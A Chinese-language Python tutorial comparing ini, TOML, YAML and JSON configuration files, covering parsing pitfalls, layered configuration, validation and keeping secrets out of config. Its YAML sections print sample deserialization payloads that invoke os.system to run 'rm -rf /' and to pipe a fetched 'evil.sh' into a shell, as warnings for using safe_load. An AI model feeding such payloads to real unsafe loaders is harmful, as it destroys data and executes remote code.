Python 怎么读写配置文件?ini、toml、yaml、json 该选哪个?
简化版
四种主流配置格式各有定位:ini(configparser,标准库,简单但只有两层结构且值全是字符串)、toml(tomllib,Python 3.11 起进标准库,有明确类型、支持注释、是 pyproject.toml 的官方格式)、yaml(PyYAML,第三方,表达力最强但坑最多)、json(标准库,机器友好但不支持注释**、不能有尾逗号)。选择原则很清晰:人手写的配置优先 TOML(类型明确、注释友好、标准库支持);机器生成/交换的数据用 JSON;已有生态强制(K8s、Ansible、GitHub Actions)才用 YAML;只有老项目才继续用 ini。每种格式的头号坑:① configparser 读出来的值全是字符串**——"0"、"false" 都是真值,必须用 getint()/getboolean() 转换;② tomllib 是只读的(写要装 tomli-w),而且必须用二进制模式打开文件(open(p, "rb"));③ YAML 必须用 yaml.safe_load()——yaml.load() 能构造任意 Python 对象,是远程代码执行漏洞;YAML 还有著名的「挪威问题」(no/off/yes 被解析成布尔值)和「版本号 1.10 变成浮点数 1.1」;④ JSON 没有注释,且尾逗号是语法错误。核心记忆:人写的配置用 TOML,YAML 一律 safe_load,configparser 的值全是字符串。
详细版
四种格式对比:
| 维度 | ini (configparser) | toml (tomllib) | yaml (PyYAML) | json |
|---|---|---|---|---|
| 标准库 | ✅ | ✅ 3.11+(只读) | ❌ 需装 PyYAML | ✅ |
| 注释 | ✅ # ; | ✅ # | ✅ # | ❌ 不支持 |
| 类型 | ❌ 全是字符串 | ✅ 明确(含日期) | ✅ 但推断诡异 | ✅ 基本类型 |
| 嵌套 | ❌ 只有两层 | ✅ 表/数组表 | ✅ 任意深 | ✅ 任意深 |
| 多行字符串 | 缩进续行 | ✅ """ | ✅ | > | ❌ 只能 \n |
| 可读性 | 好 | 好 | 好(但缩进敏感) | 一般 |
| 安全 | 安全 | 安全 | ⚠️ load 可 RCE | 安全 |
| 典型场景 | 老项目、setup.cfg | pyproject.toml、应用配置 | K8s、CI、Ansible | API、数据交换 |
# ============ ① ini:configparser ============
import configparser
cfg = configparser.ConfigParser()
cfg.read("app.ini", encoding="utf-8") # ★不存在也不报错,返回读成功的文件列表★
# app.ini:
# [DEFAULT]
# timeout = 30
# [db]
# host = localhost
# port = 5432
# debug = false
print(cfg["db"]["port"]) # '5432' ← ★字符串!★
print(cfg.getint("db", "port")) # 5432 ← 要显式转换
print(cfg.getboolean("db", "debug")) # False ← ★认识 yes/no/on/off/1/0/true/false★
print(bool(cfg["db"]["debug"])) # True ← ✗ 陷阱:非空字符串恒为真
print(cfg["db"]["timeout"]) # '30' ← ★从 [DEFAULT] 继承★
print(cfg.get("db", "missing", fallback="x")) # 有默认值的取法
# ============ ② toml:tomllib(3.11+,只读) ============
import tomllib
with open("config.toml", "rb") as f: # ★必须二进制模式!★
conf = tomllib.load(f)
conf2 = tomllib.loads('port = 5432\n[db]\nhost = "localhost"')
# config.toml:
# title = "示例" # 字符串必须用引号
# port = 5432 # 整数
# debug = false # 布尔
# created = 2026-07-31T12:00:00Z # ★原生日期时间类型★
# [db]
# hosts = ["a", "b"]
# [[servers]] # 数组表:可重复的段
# name = "s1"
print(type(conf["port"])) # <class 'int'> ← ★类型是明确的★
# 写 TOML 需要第三方:pip install tomli-w
# import tomli_w; tomli_w.dump(conf, open("out.toml", "wb"))
# ============ ③ yaml:PyYAML(第三方) ============
import yaml
with open("config.yaml", encoding="utf-8") as f:
data = yaml.safe_load(f) # ★永远用 safe_load,不要用 load★
yaml.safe_dump(data, open("out.yaml", "w"), allow_unicode=True, sort_keys=False)
# ★ YAML 的经典坑:
# country: NO → False(★"挪威问题":NO/no/off/yes 被当布尔★)
# version: 1.10 → 1.1(★被当浮点数,末尾 0 丢了★)
# port: 08 → 报错或 8(前导 0 曾被当八进制)
# time: 12:30 → 750(YAML 1.1 的六十进制!)
# → 修法:一律加引号 country: "NO"
# ============ ④ json ============
import json
with open("config.json", encoding="utf-8") as f:
data = json.load(f)
# ✗ JSON 不支持注释;✗ 尾逗号 {"a":1,} 是语法错误
# → 做配置文件时这两点很难受,所以才有 JSON5/JSONC(要第三方库)
# ============ ⑤ 配置分层(★通用最佳实践★)============
import os
def load_config():
conf = {"port": 8080, "debug": False} # ① 内置默认
with open("config.toml", "rb") as f:
conf.update(tomllib.load(f)) # ② 配置文件覆盖
if v := os.getenv("APP_PORT"):
conf["port"] = int(v) # ③ 环境变量覆盖
# ④ 命令行参数优先级最高(argparse)
return conf
⚠️ 三条硬性规则:① YAML 必须用
yaml.safe_load()。yaml.load()(不传Loader)在旧版 PyYAML 里能反序列化任意 Python 对象——!!python/object/apply:os.system ["rm -rf /"]这样的内容会被直接执行,是标准的反序列化 RCE 漏洞(PyYAML 5.1 起load()不传 Loader 会告警,6.0 起默认变安全,但老代码和老版本仍然是重灾区)。凡是解析外部/用户提供的 YAML,一律safe_load。②configparser的值全部是字符串,cfg["db"]["debug"]得到的是"false"这个非空字符串,布尔值是True——这是 ini 配置最经典的线上事故(「我明明配了 debug=false」)。必须用getboolean()/getint()/getfloat()做类型转换。③tomllib.load()必须传二进制文件对象(open(p, "rb")),传文本模式会抛TypeError: File must be opened in binary mode——这是 TOML 规范强制 UTF-8 编码的结果,而且tomllib只能读不能写(写要装tomli-w)。
完整版教学
一、四种格式的定位与选择
按"谁来写、写什么"选格式:
人手写、结构简单(几十个选项) → ★TOML★
类型明确、支持注释、标准库能读(3.11+)、语法比 YAML 严格不易出错
Python 官方选它做 pyproject.toml 就是这个理由
人手写、结构复杂(深层嵌套、模板、复用) → YAML(但要接受它的坑)
K8s manifest、CI 流水线、Ansible playbook 都是深层嵌套,YAML 的锚点/引用有价值
机器生成、机器读、跨语言交换 → JSON
每种语言都有原生支持;但★没有注释★、★尾逗号是错★,人写起来难受
老项目、超简单的键值对 → ini
setup.cfg、tox.ini、.gitconfig、systemd unit(近亲)
★新项目别选它★(没有类型、只有两层)
各自的语法样例(同一份配置):
── ini ── ── toml ── ── yaml ──
[db] [db] db:
host = localhost host = "localhost" host: localhost
port = 5432 port = 5432 port: 5432
; 注释 # 注释 # 注释
★值都是字符串★ ★类型明确★ ★类型靠推断★
── json ──
{"db": {"host": "localhost", "port": 5432}} ★不能写注释★
一个常被忽略的维度:★谁负责校验★
四种格式都只负责"解析成 Python 对象",
★没有一个会告诉你"port 应该是 1~65535 的整数"★
→ 校验要靠 pydantic / dataclass / 手写检查(见最后一节)
选格式的第一个问题是「谁来写、写什么」。人手写、结构不太深的配置首选 TOML——类型明确、支持注释、语法比 YAML 严格得多(不易写错),而且 Python 3.11 起 tomllib 进了标准库,Python 官方也用它做 pyproject.toml。结构复杂、深层嵌套(K8s manifest、CI 流水线、Ansible)基本被 YAML 生态锁定,只能接受它的坑。机器生成、跨语言交换用 JSON——但它不支持注释、尾逗号是语法错误,人写配置会很难受。ini 只适合老项目(setup.cfg、tox.ini),新项目别选,因为它没有类型、只有两层结构。最后有个常被忽略的维度:这四种格式都只负责「解析成 Python 对象」,没有一个会校验「port 应该是 1~65535 的整数」——校验必须另外做。
二、configparser:值全是字符串
基本用法:
cfg = configparser.ConfigParser()
cfg.read("app.ini", encoding="utf-8") # ★文件不存在★不会报错,返回成功读取的列表
cfg.read(["default.ini", "local.ini"]) # 多文件,★后面的覆盖前面的★
cfg.read_string("[a]\nb=1")
if not cfg.read(path): # ✓ 想知道文件是否存在必须自己判断
raise FileNotFoundError(path)
★ 头号坑:值全是字符串
[db]
debug = false
retries = 0
cfg["db"]["debug"] → 'false' ★非空字符串★
if cfg["db"]["debug"]: → ★True!★ ← 经典事故:"我明明配了 false"
cfg.getboolean("db","debug") → False ✓ 正确
cfg.getint("db","retries") → 0 ✓
getboolean 认识的值:'1','yes','true','on' → True;'0','no','false','off' → False
其他值 → ValueError(★比静默出错好★)
DEFAULT 节:所有节共享的默认值
[DEFAULT]
timeout = 30
[db]
host = localhost
→ cfg["db"]["timeout"] == '30'(★继承来的★)
★ 注意:'timeout' in cfg["db"] 也是 True;遍历 cfg["db"] 会带出 DEFAULT 的键
★ 名字必须大写 DEFAULT(可用 default_section= 改)
其他必须知道的行为:
① ★键名默认小写化★(optionxform = str.lower)
[db] 里写 Host=x,读的时候是 cfg["db"]["host"]
✓ 想保留大小写:cfg.optionxform = str
② 节名区分大小写;[db] 和 [DB] 是两个节
③ ★插值(interpolation)★:默认开启 BasicInterpolation
path = %(home)s/data → 会替换成 home 的值
★ 副作用:值里出现的 % 必须写成 %%,否则 InterpolationSyntaxError
✓ 不需要插值就关掉:ConfigParser(interpolation=None)
✓ 想要 ${a:b} 语法:ExtendedInterpolation()
④ 允许无值的键:ConfigParser(allow_no_value=True) → key 单独一行,值为 None
⑤ ★写回会丢注释和格式★:
cfg["db"]["port"] = "5433"
with open("app.ini","w") as f: cfg.write(f)
→ ★所有注释、空行、原始顺序都没了★
→ 结论:configparser 适合"读",不适合"程序改写用户手写的配置"
类型转换的完整写法:
cfg.getint / getfloat / getboolean(section, key, fallback=默认值)
自定义转换:ConfigParser(converters={"list": lambda s: [x.strip() for x in s.split(",")]})
→ 之后可以 cfg.getlist("db", "hosts")
configparser 最重要的一句话是:读出来的值全部是字符串。[db] debug = false 读到的是字符串 "false",而它是非空字符串、布尔值为 True——「我明明配了 debug = false 但调试模式还是开着」是这个模块最经典的线上事故。必须用 getboolean()/getint()/getfloat() 转换(getboolean 认识 yes/no/on/off/1/0/true/false,其他值会抛 ValueError 而不是静默出错,这点很好)。另外四个行为要记住:read() 对不存在的文件不报错(返回成功读取的文件列表,想报错要自己判断);键名默认被小写化(想保留大小写要设 cfg.optionxform = str);默认开启插值,所以值里的 % 必须写成 %%(不需要就传 interpolation=None);写回会丢掉所有注释和格式——所以 configparser 适合读、不适合程序改写用户手写的配置。
三、tomllib 与 TOML:Python 的官方选择
tomllib(★Python 3.11+ 标准库,只读★):
import tomllib
with open("config.toml", "rb") as f: # ★必须 "rb"!★
conf = tomllib.load(f)
conf = tomllib.loads(text_str) # 从字符串读(这个接受 str)
★ 为什么必须二进制模式:TOML 规范强制文件是 UTF-8,
tomllib 自己按 UTF-8 解码,不接受调用方用别的编码打开
→ 传文本对象会抛 TypeError: File must be opened in binary mode, use `open("foo.toml", "rb")`
★ 只读:标准库★不提供写入★
写:pip install tomli-w → tomli_w.dump(obj, open("f.toml", "wb"))
3.10 及以下读:pip install tomli(tomllib 就是从它 vendored 进来的)
try:
import tomllib
except ModuleNotFoundError:
import tomli as tomllib
TOML 的类型系统(★比 ini/yaml 都明确★):
s = "字符串" str(★必须有引号★)
n = 42 int
f = 3.14 float
b = true bool(★小写★)
d = 2026-07-31 date ← ★原生日期类型★
dt = 2026-07-31T12:00:00Z datetime(aware)
a = [1, 2, 3] list
multi = """
多行字符串"""
[table] → 嵌套 dict:{"table": {...}}
[table.sub] → 再嵌一层
[[array_of_tables]] → ★可重复的段 → list of dict★
inline = {x = 1, y = 2} → 行内表(必须写在一行)
映射到 Python:TOML 表 → dict,数组表 → list[dict],日期 → datetime.date/datetime
TOML 相比 YAML 的优势(为什么 Python 选它):
① ★没有"挪威问题"★:布尔只有 true/false,NO 就是字符串 "NO"(还必须加引号)
② ★没有缩进语义★:不会因为空格/tab 混用而崩
③ 类型明确:1.10 就是浮点 1.1,"1.10" 是字符串——★写的时候就区分了★
④ 规范短小、实现一致(YAML 规范极其复杂,不同实现行为有差异)
代价:深层嵌套写起来比 YAML 啰嗦(这正是它不做 K8s 配置的原因)
pyproject.toml 的实际例子:
[project]
name = "myapp"
requires-python = ">=3.11"
dependencies = ["httpx>=0.27"]
[tool.ruff]
line-length = 100
[[tool.mypy.overrides]] # ★数组表:可以有多组★
module = "legacy.*"
ignore_errors = true
tomllib 是 Python 3.11 起的标准库模块,但只能读不能写(写要装 tomli-w;3.10 及以下用 tomli,tomllib 就是从它 vendored 进来的,所以可以用 try: import tomllib except: import tomli as tomllib 做兼容)。使用上唯一的门槛是必须用二进制模式打开文件——因为 TOML 规范强制文件为 UTF-8,tomllib 自己负责解码,不接受调用方指定别的编码。TOML 的类型系统是它的核心优势:字符串必须有引号、布尔只有小写 true/false、还有原生的日期时间类型,[[array_of_tables]] 这种「可重复的段」直接映射成 list[dict]。相比 YAML 它赢在三点:没有「挪威问题」(NO 就是字符串)、没有缩进语义(不会被 tab/空格搞崩)、类型在书写时就已确定(1.10 是浮点、"1.10" 是字符串);代价是深层嵌套写起来啰嗦——这正是它适合应用配置而不适合 K8s manifest 的原因。
四、YAML 的坑:safe_load 与「挪威问题」
★ 安全第一:永远用 safe_load / safe_dump
yaml.load(untrusted) ✗ 可构造任意 Python 对象 → ★远程代码执行★
恶意内容示例:!!python/object/apply:os.system ["curl evil.sh | sh"]
yaml.safe_load(text) ✓ 只解析基本类型(dict/list/str/int/float/bool/None/date)
yaml.safe_dump(obj) ✓ 只序列化基本类型
★ PyYAML 5.1 起 load() 不传 Loader 会 warning,6.0 起默认安全,
但★老版本和老代码仍是漏洞重灾区★(历史 CVE 很多)
需要自定义类型时用 yaml.YAMLObject 白名单,而不是放开 full_load/unsafe_load
★ 类型推断的坑(YAML 1.1 遗留,PyYAML 至今是 1.1):
country: NO → False ★"挪威问题":NO/no/off/OFF/yes/y/n 都被当布尔★
answer: y → 'y'(PyYAML 里是字符串)但有的实现是 True → ★跨实现不一致★
version: 1.10 → 1.1 ★浮点数,末尾 0 消失★(版本号必须加引号!)
port: 08 → ★ValueError★(前导 0 被当八进制,8 不是合法八进制位)
time: 12:30 → 750 ★六十进制!12*60+30★
value: ~ → None
key: 2026-07-31 → datetime.date(★自动转日期★)
✓ 统一修法:★不确定的一律加引号★ country: "NO" version: "1.10"
★ 格式的坑:
- ★不能用 tab 缩进★(只能空格)→ 报错信息还很难懂
- 缩进决定层级,多一个空格就是另一个结构
- 同一层级的键重复 → PyYAML ★静默取最后一个★(不报错)
- 长字符串折行:| 保留换行,> 折成一行,|- 去掉末尾换行
有用的特性(YAML 确实强的地方):
锚点与引用(复用配置块):
defaults: &defaults
timeout: 30
retries: 3
prod:
<<: *defaults # ★合并键:继承 defaults★
host: prod.example.com
多文档:一个文件里用 --- 分隔多个文档 → yaml.safe_load_all(f)
读写模板:
with open(p, encoding="utf-8") as f:
cfg = yaml.safe_load(f) or {} # ★空文件返回 None,用 or {} 兜底★
yaml.safe_dump(cfg, f, allow_unicode=True, # ★不加会把中文转成 \uXXXX★
sort_keys=False, # ★默认会按键名排序,打乱原顺序★
default_flow_style=False)
YAML 的第一条铁律是永远用 safe_load/safe_dump:yaml.load() 能反序列化任意 Python 对象,!!python/object/apply:os.system [...] 这样的内容会被直接执行——这是标准的反序列化 RCE(PyYAML 6.0 起默认已安全,但老版本和老代码仍是重灾区)。第二类坑是类型推断:PyYAML 至今遵循 YAML 1.1,于是 NO 被解析成布尔 False(著名的「挪威问题」)、版本号 1.10 变成浮点 1.1(末尾的 0 消失)、12:30 被当成六十进制变成 750、08 因为前导 0 被当八进制而报错——统一的修法是「不确定的一律加引号」。第三类是格式坑:不能用 tab 缩进、缩进决定层级、重复的键会被静默取最后一个。写回时也有两个必备参数:allow_unicode=True(否则中文变成 \uXXXX)和 sort_keys=False(否则键会被按字母排序、打乱原有顺序)。
五、JSON 做配置的局限
JSON 的优点:标准库、跨语言、类型明确、解析快
JSON 的致命短板(做★配置★时):
① ★不支持注释★ —— 配置文件不能写注释是硬伤
变通:加一个 "_comment" 键(丑)、或换格式
② ★尾逗号是语法错误★ —— {"a": 1,} 直接报错,编辑时很容易踩
③ 只有 6 种类型 —— 没有日期、没有注释、没有多行字符串(只能 \n)
④ 必须双引号 —— 单引号是错的
⑤ 不支持引用/复用 —— 重复配置只能复制粘贴
→ 所以 JSON 更适合"机器生成给机器读",不适合"人手写手改"
如果非要用 JSON 做配置:
✓ JSON5 / JSONC(带注释和尾逗号的扩展):需要第三方库(json5、commentjson)
★注意:标准 json 模块读不了它们★
✓ 用 json.load(f, object_pairs_hook=...) 定制解析
✓ 校验用 jsonschema(这是 JSON 生态相对成熟的地方)
json 模块的配置相关细节:
json.load(f) 从文件读
json.dump(obj, f, indent=2, ★缩进,让人能读★
ensure_ascii=False, ★不加会把中文转成 \uXXXX★
sort_keys=True) 稳定输出(便于 diff)
★ json.dump 不能直接序列化 datetime/Decimal/set → 要传 default= 或先转换
★ 重复的键:json 模块★静默取最后一个★(和 YAML 一样)
数据交换 vs 配置文件的分工:
API 响应、日志、缓存、跨语言传输 → JSON(★不要为了"好看"换成 YAML★)
人要读要改的配置 → TOML(简单)/ YAML(复杂嵌套)
生成给机器读、又想让人偶尔看看 → JSON + indent=2
JSON 在配置场景有几个硬伤:不支持注释(配置文件不能写注释是致命的)、尾逗号是语法错误(人工编辑时极易踩)、只有六种类型(没有日期、没有多行字符串)、必须用双引号、不支持引用复用。所以它适合「机器生成给机器读」而不适合「人手写手改」。真要用可以上 JSON5/JSONC(带注释和尾逗号的扩展),但标准 json 模块读不了它们,需要第三方库。使用 json 模块做配置时记住三个参数:indent=2(让人能读)、ensure_ascii=False(否则中文变成 \uXXXX)、sort_keys=True(输出稳定便于 diff);还要注意 json.dump 不能直接序列化 datetime/Decimal/set,以及重复的键会被静默取最后一个(这点和 YAML 一样)。
六、配置分层与校验:真实项目怎么做
★ 优先级从低到高(十二要素应用的通行做法):
① 代码里的内置默认值 —— 保证"什么都不配也能跑"
② 配置文件 —— 团队共享、进版本库(★不含密钥★)
③ 环境变量 —— 部署环境差异、★密钥走这里★
④ 命令行参数 —— 临时覆盖,优先级最高
实现骨架:
conf = DEFAULTS.copy()
conf.update(load_file(path)) # 文件
conf.update(from_env(prefix="APP_")) # 环境变量
conf.update(vars(parser.parse_args())) # 命令行
★ 注意:嵌套配置的"覆盖"要写★深合并★,dict.update 是浅覆盖
(用 file 里的 {"db": {"host": x}} 会整个替换掉默认的 db 段)
★ 校验:解析 ≠ 校验
四种格式都只把文本变成 Python 对象,不会检查业务约束
✓ pydantic(最流行):
class Settings(BaseSettings):
port: int = 8080
debug: bool = False
db_url: str
→ 类型转换 + 校验 + 从环境变量读 + 错误信息友好,一步到位
✓ dataclass + 手写 __post_init__ 校验(无依赖)
✓ jsonschema(JSON/YAML 生态)
★ 关键收益:★启动时就报错★(fail fast),而不是跑到半夜某个分支才炸
★ 密钥绝不要放进配置文件(尤其是进版本库的那份)
✗ config.toml 里写 db_password = "..." → 一旦进 git 就永久留在历史里
✓ 环境变量 / .env(★加进 .gitignore★)/ 密钥管理服务(Vault、KMS、云厂商 Secret)
✓ 配置文件里只放引用:db_password_env = "APP_DB_PASSWORD"
✓ 配置文件权限 0o600(见"文件权限"专题)
其他实践细节:
① ★配置文件路径的查找顺序★:命令行 --config > 环境变量 > ./config.toml >
~/.config/app/config.toml > /etc/app/config.toml(Unix 惯例)
② 多环境:base.toml + prod.toml 叠加,别用一个巨大的 if env == "prod"
③ 启动时★打印生效配置★(★脱敏★后),排障时能省很多时间
④ 配置热重载:需要文件监听 + 原子替换(见"原子写入"专题),
且要考虑"改坏了怎么回滚"——多数服务其实重启更简单可靠
⑤ 程序改写用户配置:configparser/PyYAML/json 写回都★会丢注释和格式★,
要保留就用 ruamel.yaml(round-trip 模式)或 tomlkit
真实项目的做法是分层覆盖,优先级从低到高是:内置默认值 → 配置文件 → 环境变量 → 命令行参数。这里有个常见 bug:嵌套配置的覆盖要写深合并,直接 dict.update() 是浅覆盖,文件里的 {"db": {"host": x}} 会把默认的整个 db 段替换掉。第二件事是校验——四种格式都只做「文本 → Python 对象」的转换,不会检查任何业务约束,所以要用 pydantic(类型转换 + 校验 + 读环境变量一步到位)或 dataclass 手写校验,关键收益是启动时就报错(fail fast),而不是跑到半夜某个分支才炸。第三件事是安全:密钥绝不能写进进版本库的配置文件(一旦进 git 就永久留在历史里),应该走环境变量、.env(加进 .gitignore)或密钥管理服务,配置文件里只放「引用哪个环境变量」。最后一个实用细节:三种格式写回都会丢注释和格式,需要保留就用 ruamel.yaml(round-trip 模式)或 tomlkit。
记忆钩子:「选型一句话:★人手写的配置优先 TOML,机器交换用 JSON,深层嵌套被生态锁定才用 YAML,ini 只留给老项目★。四个头号坑各记一条:①configparser ★读出来的值全是字符串★——
debug = false得到的是非空字符串 ‘false’、布尔值是 True(『我明明配了 false』的经典事故),必须用 getboolean/getint 转换;它还有几个副作用:read() 对不存在的文件不报错、★键名默认被小写化★、默认开启插值所以值里的 % 要写成 %%、★写回会丢光注释和格式★。②tomllib 是 3.11+ 标准库但★只读★(写要 tomli-w),且★必须用二进制模式 open(p,‘rb’)★(TOML 规范强制 UTF-8,由它自己解码);TOML 赢在类型明确(字符串必须带引号、布尔只有小写 true/false、有原生日期)、没有缩进语义、[[数组表]] 直接映射成 list[dict]。③YAML ★必须 safe_load★(yaml.load 能构造任意 Python 对象=反序列化 RCE),还有 YAML 1.1 的推断坑:★NO/no/off 变布尔(挪威问题)、版本号 1.10 变成浮点 1.1、12:30 被当六十进制变 750★——不确定的★一律加引号★;写回要加 allow_unicode=True 和 sort_keys=False。④JSON ★不支持注释、尾逗号是语法错误★,适合机器读不适合人写。★通用架构:默认值 → 配置文件 → 环境变量 → 命令行,优先级递增★(嵌套要写深合并,dict.update 是浅覆盖);★解析不等于校验★,用 pydantic 在启动时 fail fast;★密钥绝不进配置文件★(进了 git 就永久留在历史里),只放『引用哪个环境变量』。」
七、常见误区与追问
- 误区:
configparser读到的debug = false是布尔值False。configparser的所有值都是字符串——cfg["app"]["debug"]得到的是"false"这个非空字符串,真值判断为True。于是if cfg["app"]["debug"]:永远成立,「我明明配了debug = false但调试模式还开着」是这个模块最经典的线上事故;同类的还有retries = 0读出来是"0"(也是True)。必须用类型转换方法:getboolean()(认识yes/no/on/off/1/0/true/false,遇到其他值会抛ValueError——这比静默出错好)、getint()、getfloat(),并善用fallback=提供默认值。想解析逗号分隔的列表可以自定义转换器:ConfigParser(converters={"list": ...})之后就能cfg.getlist(...)。 - 误区:
yaml.load()和yaml.safe_load()只是性能差别。 是安全差别。yaml.load()(旧版不传Loader时)会启用完整的 YAML 标签解析,能构造任意 Python 对象——!!python/object/apply:os.system ["curl evil.sh | sh"]这样的内容会在解析时直接执行命令,这是标准的反序列化 RCE 漏洞,历史上产生过大量 CVE(配置文件、CI 文件、用户上传的 YAML 都是入口)。safe_load()只解析基本类型(dict/list/str/int/float/bool/None/date),是唯一应该用于外部输入的选择。PyYAML 5.1 起load()不传 Loader 会告警、6.0 起默认变安全,但老版本和老代码仍是重灾区。需要自定义类型时应该用yaml.YAMLObject显式白名单,而不是退回full_load/unsafe_load。 - 误区:YAML 里写
version: 1.10和country: NO没什么问题。 两个都是经典陷阱。1.10会被解析成浮点数1.1——末尾的 0 消失了,用它去比较版本号或拼 URL 就会出错;同理port: 08会因为「前导 0 被当八进制」而报错,time: 12:30在 YAML 1.1 里是六十进制、解析成整数750。NO则会被当成布尔False(著名的「挪威问题」:挪威的国家代码 NO 被解析成 False),yes/y/on/off同理,而且不同 YAML 实现的行为还不一致(跨语言项目里尤其危险)。统一的解决办法是「不确定的一律加引号」:version: "1.10"、country: "NO"。TOML 没有这类问题——它要求字符串必须显式加引号,布尔只认小写true/false。 - 误区:
tomllib.load()可以像json.load()一样传一个用open(p)打开的文件对象。 会抛TypeError: File must be opened in binary mode, use "open('foo.toml', 'rb')"。原因是 TOML 规范强制文件必须是 UTF-8 编码,tomllib要自己负责解码以保证行为一致,因此拒绝接受已经被调用方按某种编码解码过的文本流。所以固定写法是with open(path, "rb") as f: tomllib.load(f)(而tomllib.loads()接受的是str,因为字符串已经是解码后的)。另外两个必须知道的限制:tomllib只能读不能写(写要pip install tomli-w),以及它只在 Python 3.11+ 才有(3.10 及以下用tomli,可以用try: import tomllib / except ModuleNotFoundError: import tomli as tomllib做兼容)。 - 误区:用
configparser或yaml改写配置文件后,用户原来的注释还在。 不在了。configparser.write()、yaml.safe_dump()、json.dump()都是「把内存里的数据结构重新序列化输出」,而注释、空行、键的原始顺序、缩进风格这些信息在解析阶段就已经被丢弃了——写回后用户精心写的注释全部消失,diff 也会变得面目全非。所以这些库适合「读配置」,不适合「程序修改用户手写的配置文件」。真要做原地修改(比如 CLI 提供myapp config set key=value),需要用支持 round-trip 的库:YAML 用ruamel.yaml(保留注释和格式)、TOML 用tomlkit(poetry就是用它改pyproject.toml的)。另外yaml.safe_dump还有两个必加参数:allow_unicode=True(否则中文变成\uXXXX)和sort_keys=False(否则键被按字母重排)。 - 追问:Python 为什么选 TOML 做
pyproject.toml,而不是 YAML 或 JSON? PEP 518 讨论时明确比较过。JSON 出局是因为它不支持注释(构建配置需要解释「为什么加这个依赖」)、尾逗号是错误、人工编辑体验差。YAML 出局有三个理由:① 规范极其复杂(完整 YAML 规范比 TOML 长一个数量级),实现之间行为有差异;② 类型推断诡异(「挪威问题」、1.10变浮点),配置里出现版本号是常态,这个坑不可接受;③ 缩进敏感且不能用 tab,对新手不友好;④ 当时标准库没有 YAML 解析器,而构建工具的配置文件不能依赖第三方包(先有鸡先有蛋的问题)。TOML 胜出是因为:规范短小明确、类型显式、没有缩进语义、语法接近 ini 因此对 Python 用户很熟悉,而且实现简单到可以放进标准库——这最后一点最关键,Python 3.11 果然把它 vendored 成了tomllib。代价是深层嵌套写起来啰嗦,但构建配置本来就不需要很深的嵌套。 - 追问:配置的优先级应该怎么设计?为什么密钥要走环境变量? 通行的优先级(从低到高)是:内置默认值 → 配置文件 → 环境变量 → 命令行参数。这个顺序的逻辑是「越接近具体这一次运行的,优先级越高」:默认值保证「什么都不配也能跑」;配置文件承载团队共享的、进版本库的设置;环境变量承载部署环境的差异(不同集群、不同实例);命令行用于临时覆盖(调试时
--debug)。密钥走环境变量(或密钥管理服务)的理由是:配置文件通常要进版本库,一旦密钥被提交,即使后来删除也永久留在 git 历史里(要清理必须 rewrite history + 轮换密钥);而环境变量是部署时注入的,不进代码库、可以按环境不同、便于轮换。配套实践是:配置文件里只写「引用哪个环境变量」(db_password_env = "APP_DB_PASSWORD")、.env文件必须进.gitignore、配置文件权限设0o600、启动时打印生效配置但要脱敏。实现上注意嵌套配置的覆盖要写深合并,dict.update()是浅覆盖会整段替换。 - 追问:解析出来的配置需要校验吗?怎么做? 必须校验,而且四种格式没有一个会帮你做——它们只负责把文本变成 Python 对象,
port = "abc"(YAML/JSON 里是字符串)、port = -1、缺少必填项、多写了一个拼错的键,解析阶段全都不报错。不校验的后果是错误延迟暴露:服务正常启动,直到某个分支真正用到那个配置项才崩,而这可能是凌晨三点。推荐方案:pydantic(BaseSettings) 最省事——用类型注解声明结构,自动完成类型转换、范围校验、从环境变量读取、生成友好的错误信息,还能配合.env;无依赖场景用 dataclass +__post_init__手写校验;JSON/YAML 生态里jsonschema也很成熟。关键收益是 fail fast:进程启动时就把所有配置问题一次性报出来(「port 必须是 1~65535 的整数,收到 -1」),而不是运行时才发现。额外的好处是拼写错误的键能被发现(pydantic 可以配置为拒绝额外字段),这类问题靠人眼 review 几乎抓不住。
八、加强记忆
选型一句话:人手写的配置优先 TOML、机器交换用 JSON、深层嵌套被生态锁定(K8s/CI/Ansible)才用 YAML、ini 只留给老项目。 四个头号坑各记一条。① configparser 读出来的值全是字符串——debug = false 得到的是非空字符串 "false"、布尔值为 True(「我明明配了 false」的经典事故),必须用 getboolean()/getint()/getfloat() 转换;它还有四个副作用:read() 对不存在的文件不报错、键名默认被小写化(要 optionxform = str 才保留)、默认开启插值所以值里的 % 要写成 %%、写回会丢光注释和格式。② tomllib 是 Python 3.11+ 标准库但只读(写要 tomli-w,3.10 及以下用 tomli),且必须用二进制模式 open(p, "rb")(TOML 规范强制 UTF-8、由它自己解码);TOML 赢在类型明确(字符串必须带引号、布尔只有小写 true/false、有原生日期时间)、没有缩进语义、[[数组表]] 直接映射成 list[dict]——这正是 PEP 518 选它做 pyproject.toml 的理由。③ YAML 必须 safe_load(yaml.load() 能构造任意 Python 对象,是反序列化 RCE),还要防 YAML 1.1 的推断坑:NO/no/off 变布尔(挪威问题)、版本号 1.10 变成浮点 1.1、12:30 被当六十进制变成 750、08 因前导零报错——不确定的一律加引号;写回必加 allow_unicode=True(否则中文变 \uXXXX)和 sort_keys=False。④ JSON 不支持注释、尾逗号是语法错误,适合机器读不适合人写(要注释得上 JSON5/JSONC,标准库读不了)。通用架构是分层覆盖:内置默认值 → 配置文件 → 环境变量 → 命令行,优先级递增(嵌套配置要写深合并,dict.update() 是浅覆盖会整段替换);解析不等于校验——四种格式都不检查业务约束,要用 pydantic 在启动时 fail fast;密钥绝不能进配置文件(一旦提交就永久留在 git 历史里),只在配置里写「引用哪个环境变量」,.env 进 .gitignore,配置文件权限 0o600。最后:三种格式写回都会丢注释,需要保留就用 ruamel.yaml 或 tomlkit。